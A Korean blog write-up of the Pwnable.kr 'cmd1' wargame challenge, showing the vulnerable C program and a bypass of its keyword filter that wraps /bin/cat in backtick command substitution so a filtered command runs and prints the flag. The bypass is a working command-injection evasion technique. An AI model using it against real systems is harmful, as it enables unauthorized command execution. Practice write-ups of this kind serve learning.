Github avatar

GyeongSu Han's Github Pages

Pwnable.kr cmd1

Aug 21, 2016 · Wargame

cmd1@ubuntu:~$ cat cmd1.c
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/fuckyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

flag, sh, tmp라는 문자열을 필터링하는 문제이다. 하지만 이 문제는 system함수를 사용하므로 쉘의 기능을 이용하는걸 생각해 보아야 한다.

command 를 할 경우 command를 실행한 후 그 프로그램의 stdout으로 나오는 내용을 쉘에서 실행하게 된다.

간단한 예제로 보게되면 다음과 같은 결과를 낼 수 있다.

cmd1@ubuntu:~$ `/bin/cat`
ls
^D
cmd1  cmd1.c  flag

으로 감싼 cat을 실행할 때, cat은 입력을 그대로 출력한다.

그로인해 ls를 입력했는데, 이 내용이 cmd1@ubuntu:~$ ls 와 같이 수행되게 된다. 이를 이용하여 문제를 해결해 보도록 하겠다.

cmd1@ubuntu:~$ ./cmd1 "\`/bin/cat\`"
/bin/cat /home/cmd1/flag
mommy now I get what PATH environment is for :)